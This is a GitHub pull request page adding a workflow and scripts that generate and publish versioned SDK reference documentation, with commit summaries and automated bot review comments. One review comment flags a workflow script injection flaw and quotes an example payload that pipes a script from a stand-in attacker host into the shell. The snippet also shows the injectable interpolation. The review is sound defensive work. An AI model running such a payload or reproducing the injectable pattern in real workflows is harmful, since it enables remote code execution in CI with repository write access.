Feature: SDK Reference generation & hosting #78
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
- Updated the SDK generation workflow to load SDK configurations from `sdks.json`, improving maintainability. - Removed individual SDK generator scripts for CLI, Code Interpreter (JS and Python), and Desktop SDKs, consolidating functionality into a single generator script. - Enhanced the `generate-sdk-reference.sh` script to dynamically handle SDK types and versions. - Cleaned up the workflow YAML file for better readability and consistency in string formatting.
- Updated `.gitignore` to include `sdk_navigation.json` for generated SDK navigation. - Added new styles for version switcher in `style.css`, improving UI for SDK and version selection. - Modified `generate-sdk-nav.js` to group SDKs by family, enhancing navigation structure. - Updated SDK configurations in `sdks.json` to include family and language attributes for better organization. - Improved CLI and Python documentation generation scripts for consistency and added frontmatter to markdown files.
- Updated `sdk-reference-sync.yml` to allow version generation for "all" versions by default. - Modified `generate-sdk-reference.sh` to support a new `--limit` option for controlling the number of versions processed. - Improved `generate-sdk.sh` to filter versions based on a minimum version requirement and to handle version discovery more effectively. - Updated `sdks.json` to include `minVersion` attributes for SDKs, ensuring only compatible versions are processed. - Enhanced common library functions for version management and caching during dependency installation.
- Added verification functions to ensure generated documentation meets quality standards, including checks for empty files and missing frontmatter. - Implemented a logging utility for better output management during the generation process. - Created a `.mintignore` file to exclude specific directories from version control. - Enhanced CLI commands for improved user experience and added options for forced regeneration of existing versions.
- Introduced a new `sdks.config.ts` file to define SDK configurations in TypeScript, enhancing type safety and maintainability. - Removed the outdated `sdks.json` file to streamline the configuration process. - Updated relevant code to utilize the new configuration structure, including adjustments in the CLI and navigation logic. - Improved type definitions for SDK configurations to support additional properties and ensure consistency across the codebase.
![cursor[bot]](https://avatars.githubusercontent.com/in/1210556?s=60&v=4){kind=small}
- Updated CSS styles for version switcher to enhance UI consistency and usability. - Modified GitHub Actions workflow to streamline SDK generation input descriptions and improve summary output. - Refactored context handling in SDK generation functions for better clarity and maintainability. - Introduced new utility functions for version validation and normalization, enhancing version management. - Added tests for cache handling and file processing to ensure robustness in SDK reference generation.
- Deleted `package.json` and `pnpm-lock.yaml` files to clean up the project structure as they are no longer needed for SDK reference generation.
- Replaced `basePackage` and `fallbackPackages` with `allowedPackages` in SDK configurations for better clarity and usage. - Refactored the `generateVersion` function to utilize a new `CheckoutManager` for handling repository checkouts and version switching. - Simplified the `generatePydoc` function to focus on allowed packages, removing the need for fallback and submodule handling. - Introduced a new `checkout.ts` file to manage SDK checkouts, enhancing code organization and maintainability. - Removed obsolete cache handling code and related tests to streamline the project structure.
| elif [[ "${{ github.event_name }}" == "repository_dispatch" ]]; then | ||
| SDK="${{ github.event.client_payload.sdk }}" | ||
| # on repository_dispatch, default to "all" to auto-detect missing versions | ||
| VERSION="${{ github.event.client_payload.version }}" |
There was a problem hiding this comment.
Workflow input injection allows arbitrary command execution
High Severity
The workflow directly interpolates user-controlled inputs (github.event.inputs.sdk, github.event.inputs.version, github.event.client_payload.sdk, github.event.client_payload.version) into shell scripts using ${{ }} expressions. This is a script injection vulnerability - if a user with write access provides malicious input like "; curl attacker.com/malicious.sh | sh; echo ", it breaks out of the quoted string and executes arbitrary commands. The workflow has contents: write permission, allowing attackers to modify repository contents. The safe pattern is to use environment variables instead of direct interpolation.
| cwd: sdkDir, | ||
| stdio: "inherit", | ||
| } | ||
| ); |
There was a problem hiding this comment.
Pydoc fallback installs globally but generator uses poetry
Medium Severity
When poetry install fails, the fallback installs pydoc-markdown globally via pip. However, generatePydoc always invokes poetry run pydoc-markdown, which only runs commands within the poetry virtual environment. A globally installed package is not visible to poetry run, so the fallback doesn't actually enable documentation generation to succeed. The generator would need to detect the fallback scenario and invoke pydoc-markdown directly instead of through poetry.
Additional Locations (1)
- Enhanced error handling in the CLI to ensure proper exit on validation failures. - Improved logging for workflow abort scenarios in the generator, ensuring clearer output. - Introduced a new function to find the CLI output directory, enhancing the generation process and error reporting for missing markdown files.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Note
Automates generation and publication of versioned SDK reference docs and integrates them into site navigation.
sdk-reference-sync.ymlworkflow (manual andrepository_dispatch) installs Node/Python deps, runs generator, verifies, and auto-commitsdocs/sdk-referenceanddocs.jsondocs.jsonto a versioned "SDK Reference" dropdown for JS/Python SDKs, Code Interpreter, Desktop SDKs, and CLIdocs/sdk-reference/**for multiple versions (CLI, JS/Python SDKs, Code Interpreter, Desktop).gitignoreand.mintignorefor generated/intermediate files and toolingWritten by Cursor Bugbot for commit 42c4f4f. This will update automatically on new commits. Configure here.